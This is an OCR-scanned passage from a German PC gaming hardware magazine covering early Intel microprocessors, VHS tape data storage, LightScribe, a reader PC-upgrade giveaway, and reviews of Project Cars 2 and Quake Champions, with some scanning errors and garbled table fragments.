lich zeigte. 


Im Gegensatz zum ersten 8-Bit- 
Chip, dem i8008, der über nur 18 
Pins mit dem restlichen System 
kommunizierte, verfügt der i8080 
über ganze 40 Pins. Damit mussten 
sich manche I\O-Lanes nicht mehr 
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Die Arvid-Karte erfreute sich in Russland und den 


CIS-Staaten größter Beliebtheit. Genau wie andere 
Systeme zu dem Zeitpunkt nutzte das Gerät ein 
monochromes Bild. 


Auf den ersten Blick sieht der Schaltplan des i8008 fast so komplex aus wie moderne 
CPUs, tatsächlich nutzt er gerade einmal ein Millionstel so viele Transistoren. 


Der Grund für die Entwicklung des 
8008, der Datapoint 3300. Das 
Terminal hatte wegen der vielen 
Baugruppen Hitzeprobleme, die der 
Chip beseitigen sollte 
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einzelne Pins im Multiplexverfah- 
ren teilen, was die Handhabung für 
Hobbyisten deutlich vereinfachte 
und Entwicklern die Implementie- 
rung unzähliger Unterstützungs- 
chips ersparte. Mit den zusätzlichen 
Pins standen zudem 256 I/O-Ports 
zur Verfügung, verglichen mit den 
acht In- und 24 Out-Ports des Vor- 
gängers ein deutlicher Fortschritt. 
Aufserdem wurde im Rahmen des 
neuen Designs endlich ein voll- 
wertiger 16-Bit Adressbus realisiert 
(zuvor 14 Bit), sodass die vierfache 
Menge an Speicher adressiert wer- 
den konnte - 64 Kilobyte anstatt 
16 Kilobyte. In Kombinationen mit 
dem deutlich hóheren Takt wurden 
Berechnungen zehn Mal so schnell 
durchgeführt wie mit dem Vorgän- 
ger i8008, ein enormer Zeitgewinn. 


Ein weiterer genialer Aspekt am 
Design des 18080 war, dass für den 
Vorgänger geschriebener Code 
weiterhin verwendet werden konn- 
te. Dies war die entscheidende Vo- 
raussetzung, damit der neue Chip 
von der massenhaften Verbreitung 
des Vorgängers profitieren konnte. 
Zwar waren die Mikroprozessoren 
nicht binär-, aber quelltextkompa- 
tibel und nutzten die gleiche Inter- 
rupt-Prozess-Logik in den beiden 
Mikroprozessoren. Eine Portierung 
von Intel-8008-Software für den 
18080 erforderte somit nur eine 
einfache Neukompilierung des vor- 
handenen Quellcodes. 


Legendendenstatus erhielt der 
Chip schließlich durch die vielfa- 
chen Einsatzmöglichkeiten und 
die massenhafte Verbreitung in 
elektronischen Geräten. Im Space- 
Invaders-Arcade-Automaten kam 
die CPU beispielsweise zum Ein- 
satz und schrieb damit Videospiel- 
geschichte, aber auch in atomaren 
Marschflugkörpern, in automati- 
schen Kassen- und Bezahlsystemen 
oder in frühen Heimcomputern, 
beispielsweise dem Altair 8800 
der Firma MITS. Die enorme Prä- 
senz in nahezu jedem Lebensbe- 
reich und die Beliebtheit führten 
schließlich dazu, dass das Design in 
Folgechips wie dem i8086 oder an- 
deren Porzessoren implementiert 
werden musste und deshalb selbst 
in modernen IA32- und AMD64-Ar- 
chitekturen seine Spuren hinterlas- 
sen hat. Lansdale Semiconductors 
fertigt den Mikrochip übrigens bis 
heute. 


Die VHS-Festplatte 

Nicht ganz so alt und letztlich wenig 
erfolgreich, dafür aber umso kuri- 
oser war dagegen die Nutzung von 
VHS-Videokasetten als Datenspei- 
chermedium für den Computer. Mit 
einer Speichergröße von bis zu vier 
Gigabyte pro Mediaum waren sol- 
che Geräte während der 1990er-Jah- 
re eine überlegenswerte Alternative 
sowohl zu den neuen, teuren opti- 
schen Medien als auch zu Festplat- 
ten. Die kosteten in ähnlicher Grö- 
ße selbst zum Ende des Jahrzehnts 
noch über 200 US-Dollar pro Stück, 
während es ein VHS-Band für 2 bis 3 
US-Dollar gab. Die Speicherung digi- 
taler Inhalte auf Magnetbänder ist in 
der elektronischen Archivierung an 
sich auch nichts Ungewöhnliches, 
nutzt normalerweise aber Streamer 
mit speziell auf Langlebigkeit und 
Datenintegritàt hin optimierten 
Bändern. VHS-Lösungen für den 
Heimanwenderbereich verwenden 
dagegen ein VHS-Band, das für Vi- 
deosignale optimiert wurde und 
deshalb oft Datenfehler aufweist - 
sogenannte Dropouts. 


Frühe Intel Mikroprozessoren 


Chip | Technik | Struktur- | Transi- Takt- Pins | Produktions- 
breite storen frequenz zeitraum 
14004 PMOS торм 2300 500-740 kHz 16 1971-1981 
14040 PMOS торм 3000 500-740 kHz 24 1974-1981 
18008 PMOS торм 3500 500 kHz 18 1972-1983 
18080 NMOS 6uM 6000 2000-3125 kHz | 40 1974-heute 
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Eingelegt wurden die Bànder in 
normale Videorecorder, die An- 
bindung an den PC übernahmen 
spezielle Schnittstellenkarten über 
ein normales, monochromes Com- 
posite-Video-Signal. In der ehema- 
ligen Sovjetunion sehr beliebt war 
die ISA-Karte Arvid, in den USA und 
Großbritannien verbreite sich bei- 
spielsweise die Danmere Backer. 


Dabei fungiert die ISA-Karte wie 
ein Modem, das aus Daten einen 
Bitstream erzeugt beziehungsweise 
aus dem Videosignal Information 
rekonstruiert. Die Fehler- respek- 
tive Dropout-Korrektur wurde mit 
einem Reed-Solomon-Algorithmus 
gelöst, wie er in heute in moder- 
nen Medien von DSL über DVB bis 
hin zu QR-Codes genutzt wird. Im 
VHS-Einsatz wurden Datenüber- 
tragungsraten von 200 bis 325 
Kilobyte pro Sekunde übertra- 
gen, was die VHS-Laufwerke nur 
für den Back-up-Einsatz praktika- 
bel machte. Ein 259 Meter langes 
129-Minuten(SP)-VHS-Band konnte 
Gigabyte unkompri- 
mierte Daten speichern. 


damit zwei 


Nichtsdestotrotz konnte sich dieses 
Stück Hardware nicht durchsetzen, 
obwohl der Gedanke für billigen 
Speicher unter Verwendung alter 
Hardware genial ist. Aus diesem 
Grund fand das System auch Anfang 
der 1990er-Jahre großen Anklang, 
als Festplatten mit mehreren 100 
MB noch als Luxus galten. Später 
konnten jedoch die optischen Spei- 
chermedien und Festplattenlauf- 
werke den Anforderungen gerecht 
werden und Preise für Speicheral- 
ternativen wie Zip-Disks, HDDs und 
DVDs wurden bezahlbar. 


Lasergravuren statt Marker 
Ein weiteres Kuriosum aus dem Be- 
reich Wechselmedien, das vielleicht 
einige noch kennen oder gar selber 
besessen haben, kam während der 
massiven Nutzung der optischen 
Speichermedien DVD und CD im 
letzten Jahrzehnt auf: Light Scribe. 
Neben wasserfesten CD-Markern 
und bagelförmigen Klebelabeln 
konnte man seine gebrannten Da- 
tenträger nun auch mit der Laserdi- 
ode des DVD-Brenners beschriften 
- professionell, ordentlich und vor 
allem lesbar bis in feinste Details. 


Die Technologie, die in Hewlett- 
Packards Light Scribe oder МЕС La- 
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bel Flash Verwendung fand, benö- 
tigte eine besonders beschichtete 
DVD. Im Falle von Light Scribe war 
die beschriftbare Oberfläche mit ei- 
nem photoreaktiven Farbstoff über- 
zogen, der das Laserlicht bei einer 
Wellenlänge von 780 Nanometern 
absorbiert und dadurch die Farbe 
ändert, ähnlich wie bei der Infor- 
mationsspeicherung auf der Daten- 
seite des Mediums. Das Resultat ist 
ein monochromatisches Bild, das 
umso dunkler wird, je öfter man 
den einfachen, aber zeitaufwendi- 
gen Schreibgang wiederholt. 


Aber die Technik hatte auch Schat- 
tenseiten. Der lichtempfindliche 
Farbstoff auf der DVD Oberseite 
konnte laut HPs eigener Aussage 
mit Chemikalien reagieren und sich 
dadurch zersetzen. Das Problem: 
Die gleichen Substanzen werden 
massenhaft in Handlotionen und 
Haarprodukten verwendet und 
sind somit oft auf Händen zu fin- 
den. Für die Light-Scribe-Technik 
bedeutete das, dass der alltägliche 
Umgang mit den Datenträgern sich 
als äußerst unpraktikabel erwies, 
wenn man nicht den lichtempfind- 
lichen Film zerstören wollte. Das 
nahmen anscheinend auch viele Li- 
zenznehmer und Hewlett-Packard 
wahr, denn 2013 hat man die Idee 
der Lasergravur für DVDs begraben 
und sich aus dem Geschäft zurück- 
gezogen. Manch einer behauptet 
sogar, dass HP sich durch Light Scri- 
be hauseigene Konkurrenz für die 
Print-Labelierungssysteme aufbau- 
te und es deshalb beendet wurde. 


Trotzdem fand ein Light-Scribe- 
Laufwerk in einem Labor an der 
Universität von Kalifornien in Los 
Angeles eine neue Aufgabe: Mit 
seinem Laser können Graphit-Oxid- 
Beschichtungen in Graphen umge- 
wandelt werden - und das mit der 
von Light Scribe bekannten Präzi- 
sion und Feinheit, schließlich sind 
der Laser und seine Ansteuerung 
konzipiert, Informations-Bits mik- 
rometerfein auf die Datenseite der 
DVDs zu brennen. Statt der feinen 
Beschriftung eigener Musikzusam- 
menstellungen dient das Light-Scri- 
be-Laufwerk als Laserdrucker für 
die Laborfertigung von Hochleis- 
tungskondensatoren und anderen 
Elektronikelementen. Graphen gilt 
schließlich als großer Hoffnungs- 
träger der Mikroelektonik und als 
Siliziumnachfolger. (ab/tv) 
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So sehen von Arvid und der Danmere Backer als Videobild codierte Daten beim 
Abspielen auf einem normalen Fernseher aus. 


Light Scribe erzielte 
beeindruckend detaillierte 
Ergebnisse. Ermöglicht 
wurden sie durch einen 
zweiten Laser-Brenn-/ 
Belichtungsvorgang 
auf der speziell 
beschichteten 
Medienoberseite. 


Hier sind die Spuren nach dem Beschriften der photoempfindlichen Oberfläche zu 
sehen. Oben eine hellgraue, unten eine dunkle Fläche. 
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INFRASTRUKTUR | Pimp my PC 


imp my PC2017 "7" 


Das Lieblingsspiel ruckelt traurig vor sich hin, wahrend der Rechner auch akustisch aus dem letzten 


Loch pfeift? Dann ist es hóchste Zeit zum Aufrüsten, und zwar für vier PCGH-Leser kostenlos! 


L mit den Aktions- 
partnern be quiet!, iiyama und 
MSI bringt PC Games Hardware 
die Spiele-PCs von vier Lesern auf 
Vordermann. 


Unser Konzept 

Bei der Tuning-Aktion „Pimp my 
PC“ haben Sie die volle Kontrol- 
le und bestimmen selbst Ihren 
Aufrüstpfad. Die vier glücklichen 
Gewinner erhalten zwar die kom- 
plette Hardware kostenlos, müssen 
aber wie normale Aufrüster mit ei- 
nem limitierten Budget Prioritäten 
setzen. Genau auf dieser Idee ba- 
siert die Aktion „Pimp my PC 2017“. 
Möchten Sie etwa Ihr Gehäuse mit 
flüsterleisten Ventilatoren aufwer- 
ten oder soll es gleich eine neue 
PC-Behausung samt vormontierter 
Silent-Lüfter sein? Sie entscheiden! 
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Deshalb gibt es ein Punktesystem, 
das Sie möglichst gut ausnutzen 
sollten. Jeder Aufrüster hat die glei- 
che Anzahl von Punkten, also das 
gleiche Budget für neue Hardware, 
zur Verfügung. Bei der Wahl Ih- 
rer persönlichen Upgrade-Lösung 
dürfen Sie nur maximal 50 Punkte 
in neue Hardware investieren. Je 
hochwertiger ein Produkt ist, des- 
to mehr Punkte müssen Sie dafür 
aufwenden. Da das Punkte-Budget 
nicht für das beste Produkt in jeder 
Kategorie reicht, müssen Sie sich 
also überlegen, welche Komponen- 
ten Ihnen besonders wichtig sind, 
und Prioritäten setzen. 


Damit die Idee des Aufrüstens und 
damit auch das Weiternutzen be- 
reits vorhandener Hardware nicht 
zu kurz kommt, müssen Sie weitere 


Entscheidungen treffen. Statt mög- 
lichst viele PC-Komponenten auszu- 
tauschen, werden wir nur die Bau- 
teile ersetzen, welche Ihnen den 
größten Vorteil bieten. Falls Sie bei- 
spielsweise erst dieses Jahr ein gu- 
tes Netzteil angeschafft haben, aber 
beim Spielen häufiger bemerken, 
dass Ihr Prozessor im übertakteten 
Zustand nur lautstark gekühlt wer- 
den kann, ist es sinnvoll, das Netz- 
teil zu behalten und stattdessen auf 
einen neuen CPU-Kühler zu setzen. 
Sie entscheiden, welche Hardware 
Sie behalten und welche Sie erset- 
zen möchten. Zur Auswahl stehen 
folgende Produktkategorien: 


I Mainboard уоп MSI ODER 
Grafikkarte von MSI 

I Netzteil von be quiet! ODER 
Prozessorkühler von be quiet! 


I Gehäuse von be quiet! ODER 
Lüfter-Set von be quiet! 
I Bildschirm von iiyama 


So bewerben Sie sich 

Falls PC Games Hardware Ihren 
Rechner aufrüsten soll, dann kón- 
nen Sie sich ab dem 4.10.2017 im 
PCGHX-Forum bewerben. Unter 
www.pcgh.de/pimp2017 können 
Sie Ihren persönlichen Aufrüstpfad 
festlegen und mithilfe von Schie- 
bereglern verschiedene Aufrüst- 
varianten ausprobieren. Sie sehen 
auf einen Blick, welche Hardware- 
Kombinationen mit dem Aufrüst- 
budget von insgesamt 50 Punkten 
machbar sind -  umstàándliches 
Kopfrechnen entfällt. 


Haben Sie Ihre Idealkombination 
gefunden, können Sie einfach den 
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Diese Bildschirme stehen zur Auswahl*: 


Ferse IH EI HH EFF EI HT TEE FF FF EFF IE FH EFF шш ыз жык EE 


iiyama 
3 
5 


iiyama G-Master 
GB2783QSU-B1 


iiyama G-Master 


| 
| iiyama G-Master 
! G2730HSU-B1 


GB2488HSU-B3 


10 Punkte 15 Punkte 18 Punkte 


ven eisen ai ge e Ee Ae ée E Zeg us SE akka EES we a ea ea a Eee ET EE an een oe ee Coa eh Set Sr Н 
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Mainboard von MSI 


MSI B350 Tomahawk MSI Z370 Gaming Pro 


Carbon AC 
10 Punkte 


MSI X299 Gaming M7 ACK 


6 Punkte 18 Punkte 


1 Produkt aus der oberen Gruppe О) Q Produkt aus der unteren Gruppe 


MSI GTX 1080 MSI GTX 1080 Ti 
Gaming X 8G Gaming X 11G 
26 Punkte 35 Punkte 


—————————  ————————————————————————————————— — ————————— | 


Grafikkarte von MSI 


MSI GTX 1070 
Gaming X 8G 


22 Punkte 


Pete mo ы HH DH SEHE FE ET IH FIT EE e Eee Ае FH IH FH FH IE Ee a m E ы Жү 


Netzteil von be quiet! J 
be quiet! Straight Power be quiet! Dark Power 
10-CM 700 Watt Pro 11 1.000 Watt | 
6 Punkte 12 Punkte 


be quiet! Pure Power 
10-CM 500 Watt 
1 Produkt aus der oberen Gruppe B) Qo: Produkt aus der unteren Gruppe 


4 Punkte 


CPU-Kühler von be quiet! 8 
1 


be quiet! Pure Rock be quiet! Silent 


Loop 240 mm 
6 Punkte 


be quiet! Dark 
Rock Pro 3 


1 Punkt 4 Punkte 


Looh emm e-enosmeememg mes NN — — S 0-0 —— —— —— —— ———— WWE. - -————-—-——-——-——————— 3 


ron sss Б an nn nn nn 


be quiet! Shadow Wings PWM be quiet! Silent Wings 3 PWM | 
(3 x 120 oder 140 mm) (3 x 120 oder 140 mm) 
2 Punkte 3 Punkte 


be quiet! Pure Wings 2 PWM | 
1 Produkt aus der oberen Gruppe B) Qo: Produkt aus der unteren Gruppe | 


(3 x 120 oder 140 mm) 
1 Punkt 


Gehäuse von be quiet! 


be quiet! Pure Base 600 
Window Black 


4 Punkte 


be quiet! Silent Base 800 
Window Silver 


6 Punkte 


be quiet! Dark Base Pro 
900 Orange 


10 Punkte 


E vi ze ze en 2-2 - 0.0.0. ы STTS - -- sS өэ _ - - - - - - - - - - - - - - - - 


www.pcgameshardware.de 11/17 | PC Games Hardware 103 


o INFRASTRUKTUR | Pimp my PC 


Inhalt des Textfensters kopieren 
und in Ihre Bewerbung im Kom- 
mentar-Thread einfügen. Geben 
Sie dort dann bitte noch an, welche 
Komponenten momentan verbaut 
sind, und laden Sie ein Bild des PC- 
Innenraums hoch. 


Die PCGH-Redaktion wählt nach 
dem Ende der Bewerbungspha- 


se am 18.10.2017 vier Bewerber 
aus, die Ihren PC (ohne Monitor) 
anschließend gut verpackt in die 
PCGH-Redaktion schicken. Wir 
empfehlen, davor ein Backup al- 
ler wichtigen Daten anzufertigen 
- wir übernehmen keine Haftung 
für Daten auf eingeschickten Spei- 
chermedien. Nach dem Austausch 
der Komponenten erhalten Sie den 
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aufgerüsteten PC zusammen mit 
den ehemals verbauten PC-Kompo- 
nenten zurück. 


Alternativ bieten wir erfahrenen 
PC-Schraubern auch die Möglich- 
keit, die Installation der neuen 
Bauteile selbst vorzunehmen. So 
sparen Sie sich den Abbau und den 
Versand des Rechners und haben 


schnell wieder einen einsatzbe- 
reiten Spiele-PC zur Hand. In dem 
Fall schicken wir Ihnen die ausge- 
suchten Komponenten zu und Sie 
senden uns anschließend Bildmate- 
rial vom erfolgreich aufgerüsteten 
PC. Bitte beachten Sie, dass durch 
einen unsachgemäß durchgeführ- 
ten Einbau beschädigte Hardware 
nicht ersetzt wird. (sw) 


Beispiel 1: So könnten Sie Ihre 50 Aufrüstpunkte investieren. 


Bei „Pimp my PC 2017" haben Sie selbst die volle Kontrolle darüber, wie Sie aufrüsten möchten. Wir zeigen ein Beispiel. 


Unser Beispiel-Leser hat bereits vor einigen Monaten seine vier Jahre alte 
Grafikkarte ersetzt und entscheidet sich für eine zweite MSI GTX 1080 
Gaming X 8G, um SLI nutzen zu kónnen. Da das alte Netzteil dieser Aufgabe 
nicht gewachsen ist, entscheidet sich der Leser für das 1.000 Watt starke be 
quiet! Dark Power Pro 11. Da zwei Grafikkarten mehr Abwárme erzeugen, 
steht zudem der Ausbau der Gehäusebelüftung an, die bisher aus lediglich 
einem 140-mm-Ventilator am Heck bestand. Zukünftig blasen zwei Shadow 
Wings PWM im 140-mm-Format an der Vorderseite Frischluft in das Gehäuse, 
ein weiteres Exemplar an der Rückseite bläst die erwärmte Luft hinaus. 
Unser Beispiel-Leser entscheidet sich für den iiyama G-Master G2730HSU-B1 
mit 75 Hz sowie einer groBen 27-Zoll-Bildfláche und nutzt den alten 
21,5-Zoll-Bildschirm als Zweitmonitor seines neuen Dual-Monitor-Setups. 


Drama 


[ES 
5 


10 Punkte 26 Punkte 


Prozessor 


ntel Core i7-4770K 


Intel Core i7-4770K 


CPU-Kühler 


Turmkühler mit 140-mm-Lüfter 


Turmkühler mit 140-mm-Lüfter 


ainboard 


Sockel 1150, Intel 787 


Sockel 1150, Intel 787 


Arbeitsspeicher 


2 x 8 GiByte DDR3-1866 


2 x 8 GiByte DDR3-1866 


Grafikkarte 


SI GTX 1080 Gaming X 8G 


2 x MSI GTX 1080 Gaming X 8G 


Datenträger 


SSD mit 250 GB, HDD mit 2 TB 


SSD mit 250 GB, HDD mit 2 TB 


etzteil 


oname-Modell (500 Watt) 


be quiet! Dark Power Pro 11 1.000 Watt 


Gehäuse 


idi Tower 


Midi Tower 


Lüfter 


1 x 140 mm (vorinstalliert) 


3 x be quiet! Shadow Wings PWM 140 mm 


onitor 


21,5 Zoll (1.920 x 1.080, 60 Hz) 


iiyama G-Master G2730HSU-B1 + 21,5 Zoll 


12 Punkte 


EJ 50 Punkte 


2 Punkte 


Beispiel 2: So könnten Sie Ihre 50 Aufrüstpunkte investieren. 


Bei Pimp my PC 2017 haben Sie selbst die volle Kontrolle darüber, wie Sie aufrüsten möchten. Wir zeigen ein Beispiel. 


Der zweite Beispiel-Leser benötigt nach der Anschaffung einer Radeon RX 
480 vor einem Jahr mehr CPU-Leistung für Spiele und gleichzeitiges Video- 
Streaming und wechselt auf den Sockel 2066. Das MSI X299 Gaming M7 ACK 
dient ihm als neuer Untersatz. Zur leisen Kühlung des Achtkerners i7-7820X 
ist die Silent Loop 240 mm vorgesehen, die im geräumigen be quiet! Dark 
Base Pro 900 locker Platz findet. Da das neue Gehäuse ein Seitenfenster aus 
getöntem Temperglas bietet, kommen die Leuchteffekte des MSI-Mainboards 
mit RGB-LEDs gut zur Geltung. Ein neues Netzteil ist nicht erforderlich, 

das verbaute 650-Watt-Modell ist immer noch sehr gut zur Versorgung des 
Systems geeignet. Mit dem iiyama G-Master GB2488HSU-B3 hat der Leser ab 
sofort einen Monitor mit 144 Hz Bildwiederholfrequenz vor Augen und damit 
einen flüssigeren Spieleindruck als zuvor. 


15 Punkte 18 Punkte 
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Prozessor A 


D FX-8300 


Intel Core i7-7820X 


CPU-Kühler A 


D Boxed 


be quiet! Silent Loop 240 mm 


Mainboard 


Sockel AM3+, AMD 970/5B950 


MSI X299 Gaming M7 ACK 


Arbeitsspeicher | 2 


x 8 GiByte DDR3-1600 


4 x 8 GiByte DDR4-2666 


Grafikkarte A 


D Radeon RX 480/8G 


AMD Radeon RX 480/8G 


Datentráger 


SSD mit 1 TB, HDD mit 4 TB 


SSD mit 1 TB, HDD mit 4 TB 


Netzteil 


be quiet! Dark Power Pro 10 650 Watt 


be quiet! Dark Power Pro 10 650 Watt 


Gehäuse 


idi Tower 


be quiet! Dark Base Pro 900 Orange 


Lüfter 


2 x 120 mm (vorinstalliert) 


3 x be quiet! Silent Wings 3 140 mm (vorinstall.) 


Monitor 


24 Zoll (1.920 x 1.080, 60 Hz) 


iiyama G-Master GB2488HSU-B3 


6 Punkte 


EJ 49 Punkte 


10 Punkte 
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GNU/Linux 9,9 st da s. 52 


Die Datei ist we! 
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N 
! Hardwarefehler 

= finden und beheben 


Tools und Suiten, 
identifizieren, im 


KE 
в Virtualisierung mit Wiener 
Blut: Proxmox VE 5.0 für 


KVM- und LXC-VMs s.58 
m Großer Vergleichstest: 

Fünf Backuptools für die 
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die defekte Komponenten 
Vergleichstest 5, 42 


Deutschlang 


Österreich Zonge Spanien 
= Schweiz 
8,50 €935 stri. є 9,85 enos 


` 


Linux-Systeme 
automatisch wart 


Vamigru überzeugt im Test als Manat 
ment-Alternative zu Ansible & Со. S 


Telefon: 0911 / 993 990 98 
Fax 01805 / 86 180 02 
E-Mail: computec@dpv.de 


Deutschland Österreich 
€ 8,50 € 9,35 


Schweiz 
str 17,- 


Вепе! 
9,8 


Doppelseitiger Datenträger, 


OHNE DVD 12,90 € 


ps 


Zehnmal schneller 
als Rails: Phoenix 
Framework 1.3 5. то 


Libre Office 5.4 
Sehr authentisch: Die neue 
Version signiert Dokumente 
mit Open PGP S. 48 


" 25 Jahre Linux in ^ 


Wie Suse und andere die freie IT-Welt schufen und besiedelten 


ABO-VORTEILE 


* Günstiger als am Kiosk 

* Versandkostenfrei 
bequem per Post 

* Pünktlich und aktuell 


* Keine Ausgabe verpassen 


Einfach bequem online bestellen: shop.linux-magazin.de 


Spiele & Software 


Philipp Reuther 
Fachbereich Spiele 
E-Mail: pr@pcgh.de 


Kommentar 


Viel Geld, wenig Mumm? Warum wir viel- 
leicht etwas weniger , Triple-A" wollen. 


Große, finanziell aufwendige Produktionen fa- 
chen häufig einen ebenso großen Hype an und 
enttäuschen dann nicht selten im ebenfalls groß- 
en Stile. Daran kann(!) ein Publisher Schuld sein, 
wenn er dem Entwickler etwa zu wenig Zeit lässt 
— aber auch, wenn durch den Publisher viel Geld 
investiert wurde. Denn um trotz einer großen In- 
vestition zu verdienen, muss das Projekt auch sehr 
viel Geld einbringen. Natürlich will man dabei das 
Risiko eines Verlustes möglichst klein halten. Das 
bedeutet aber wiederum, dass bei großen Pro- 
duktionen nicht viel gewagt wird — das könnte 
ja in die Hose gehen und dann sind Investoren 
und Anleger sauer. Also lassen viele Publisher alte 
Konzepte immer wieder neu auflegen und meiden 
größere Änderungen. Mit ein bisschen Glück ist 
dann aber doch noch ein Quäntchen Mut vorhan- 
den und der Entwickler bekommt grünes Licht, ein 
neuartiges Spielelement zu implementieren — am 
besten eins, das sich schon ungefähr 750.000 
Mal anderswo bewährt hat — Crafting und Sur- 
vival zum Beispiel, total innovativ! Vielleicht 
braucht es etwas weniger Geldabhängigkeit für 
etwas mehr Mut bei der Spieleentwicklung. 


Hardivare 


DAS HARDWARE-MAGAZIN FÜR PC-SPIELER. 


| Platz Titel 

Die Sims 4 

Grand Theft Auto 5 
Overwatch GOTY Edition 
F1 2017 (Special Edition) 
Battlefield 1 (Revolution Ed.) 


Hersteller 
Electronic Arts 


E 


Rockstar Games 
Blizzard 
Codemasters 
Electronic Arts 
Landwirtschafts-Simulator 17 Focus Home Interact. 
Die Sims 4: An die Arbeit! 
Civilization 6 

Sudden Strike 4 

Die Sims 4: Großstadtleben 


Electronic Arts 
2K Games 

Kalypso Media 
Electronic Arts 


|2. 
3: 
4. 
| 5 
6. 
d 
8. 
9 
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* Quelle: Saturn, Top 20 vom 16.09.2017 


Project Cars 2 


Mit Project Cars 2 ist jüngst der Nachfolger der 
ehemals durch die PC-Community finanzierten 
Rennsimulation erschienen - und gefällt. 


roject Cars ist wohl den meisten PC-Spielern 
P Begriff, selbst wenn sie nicht viel mit 
dem Genre anfangen kónnen. Die Entwicklung 
der Rennsimulation wurde óffentlichkeitswirk- 
sam durch die PC-Community ermóglicht und 
jahrelang geisterten unzählige Bilder und Film- 
schnipsel der hochqualitativen Wagenmodelle 
durch das Netz, selbst als das Spiel noch lange 
nicht fertig war - doch der Hype des ultimativen 
PC-Renners mit der Edeloptik war geboren. 


Project Cars konnte überzeugen und machte 
auch bei der Portierung auf die Konsolen eine 
ordentliche Figur. Nun ist der zweite Teil er- 
schienen, dieses Mal direkt von Beginn an mit 
Publisherunterstützung durch Bandai Namco. 
Der Fuhrpark und die Anzahl und Vielfalt der 
Strecken wurden erweitert, die Optik zudem 
aufgewertet. Die Fahrzeuge sehen nun noch- 
mals schicker aus und fügen sich glaubhafter 
in die ebenfalls aufgewertete Streckengrafik 
ein. Dank physikbasiertem Renderer ist die In- 
teraktion zwischen Beleuchtungs- und Shader- 
modell sehr glaubwürdig. Damit kónnen auch 
unterschiedlichste Witterungsumstände au- 


thentisch umgesetzt werden. Die modernisierte 
Madness-Engine macht optisch einen sehr guten 
Eindruck, die Performance ist ebenfalls sehr 
ordentlich, allerdings mit Einschránkung: AMD- 
GPUs haben aktuell in CPU-lastigen Szenarien 
mit Performance-Problemen zu kämpfen. (pr) 


FAZIT: Wer Project Cars mochte, wird auch den rundum ver- 
besserten Nachfolger mógen. Die Optik ist sehr ansehnlich, das 
Geschwindigkeitsgefühl prima und die Steuerung anspruchs- 
voll. Die Performance ist generell überzeugend, mit AMD-GPU 
müssen Sie aktuell aber (noch) leichte Einbußen hinnehmen. 


Genre: Rennsimulation | Web: https://www.projectcars- 
game.com/ | Technik: Madness Engine; Direct X 11, x64 
| Empfohlener PC: Core i5-7500/AMD R5 1600, Geforce 
GTX 1060, Radeon RX 480, 8 Gigabyte RAM 
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SPIELE & SOFTWARE | Quake Champions 
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»J 


Ni ein weiteres 


d "3 A 


UR ces 


Early- Acces Phase. Und Vir fühlen 
dem Arena. S 


ach mehreren Beta-Phasen 

(offen wie geschlossen) 
hat Quake Champions eine Ent- 
wicklungshürde genommen 
und kann nun in Form eines 
Early-Access-Zugangs erwor- 
ben werden. Da sich das Spiel 
zum aktuellen Zeitpunkt aber 
dennoch in der Beta-Phase be- 
findet, und damit nicht gewähr- 
leistet ist, dass die Performance 
bereits zufriedenstellend ist, 
prüfen wir das Spiel erneut. 
Schließlich ist es gut zu wissen, 
ob Quake ‚Champions für Sie 
zum aktuellen Stand eine Inves- 
tition wertist. 


Da wir bereits mehrfach über 
den Arena-Shooter und dessen 
technischen Stand berichteten, 


haben wir was die Performance ` 


angeht allerdings wenig Beden- 
ken: Die für die grafische Dar- 
stellung zuständige Sabre-3D- 
Engine machte bereits in der 
geschlossenen sowie offenen 
Beta einen. sehr guten Ein- 
druck. Doch wollen Sie Quake 
Champions spielen, müssen 
/Sie nun Geld in die Hand neh- 
men. Es wäre wohl nicht als un- 
/ Ty жл zu werten, wenn SU" 
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dafür auch einen Gegenwert 
erhalten. Für diesen Artikel 
stellen wir daher nicht nur die 
Frage: ,Làuft Quake Champions 
gut?“ sondern auch: ,Sind Ver- 
besserungen zu erkennen, làuft 
Quake Champions nun besser?“ 


Außerdem sind mit RX Vega 
nach langer Wartezeit endlich 
AMDs neue Oberklasse-Grafik- 
karten erschienen. Natürlich 
bietet es sich damit auch an, 
sie in diesen Test aufzuneh- 
men. Aktuell beschäftigen wir 
uns außerdem häufiger mit 
CPU-Messungen, die wir auf 
etwaige Abweichungen un- 
tersuchen, wenn bei diesen 
eine Radeon statt Geforce zum 
Einsatz kommt. In einigen Fäl- 
n kann es zu substanziellen 
nterschieden kommen und 
in diesen steckt unserer Mei- 
nung Potenzial, die Leistung 
enerell zu beeinflussen. Ei- 


bei gleichzeitigem CPU-Limit 
daher wert, zudem können Sie 
so gut einschätzen, ob und in 
welchem Maße ein bestimmtes 
Spiel von modernen Vielkern- 
prözessoren profitiert. Die Ska- 
lierungsgraphen finden Sie auf 
der letzten Seite dieses Artikels. 
Dort haben wir zudem die pro- 
zentualen Veränderungen bei 
der CPU-Skalierung gegenüber 
| dem letzten Test in der Ausgabe 
08/2017 festgehalten(Geforce). 


e ` 


nen Blick ist die Performance Т 


7 
\ ' à d ; d а i š Quake Champions nutzt für die grafische 
We a" Darstellung die Sabre-3D-Engine. Diese 
zeigt einige schicke Effekte und làuft M 
gleichzeitig sehr performant. Die für 4 
das Gameplay zuständige Месһапікеп 
stammen dagegen von der id Engine ab 
— offenbar eine gesunde Mixtur. 
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Noch vor unseren eigentlichen 
Messungen fallen uns in der aktu- 
ellen Version (Closed Beta Build 
0.1.2589268) eine ganze Reihe 
kleinerer technischer Verbesse- 
rungen auf. Zum Ersten entfällt ein 
störender optischer Faktor: Zuvor 
entstand bei der Darstellung der 
beinahe jede Oberfläche zieren- 
den Parallax-Occlusion-Maps eine 
sehr deutlich sichtbare „Stufe“ in 
mittlerer Distanz. Dies ging offen- 
bar auf ein unsauberes Umschalten 
zwischen Mip-Map-Stufen zurück. 
Diese von uns in früheren Tests 
auch bemängelte Unschönheit ist 


einzelnen Mip-Maps-Stufen wurde 
offenbar verfeinert, die Darstel- 
lung der Parallax-Maps weiter in 
die Ferne verschoben sowie deren 
Detailübergänge gesäubert, bei- 
nahe stets störende Artefakte sind 
verschwunden. 


Dazu hat sich auch die Perfor- 
mance merklich verbessert, auch 
dies ist direkt zum Spielbeginn und 
selbst ohne Messungen ersichtlich. 
Offenbar wurde das Hereinstrea- 
men von Daten verbessert: Starte- 
ten wir in früheren Versionen ein 
beliebiges Match, so stockte und 


ruckelte das Spiel während der ein- 
minütigen Aufwärmphase kräftig - 


Die Designer greifen den Stil früherer Quake-Titel geschickt auf, modernisieren dabei 
jedoch gleichzeitig Gestaltung wie Technik - oldschool, aber nicht altbacken. 


nun verschwunden, beziehungs- 
weise: Der Wechsel zwischen den 


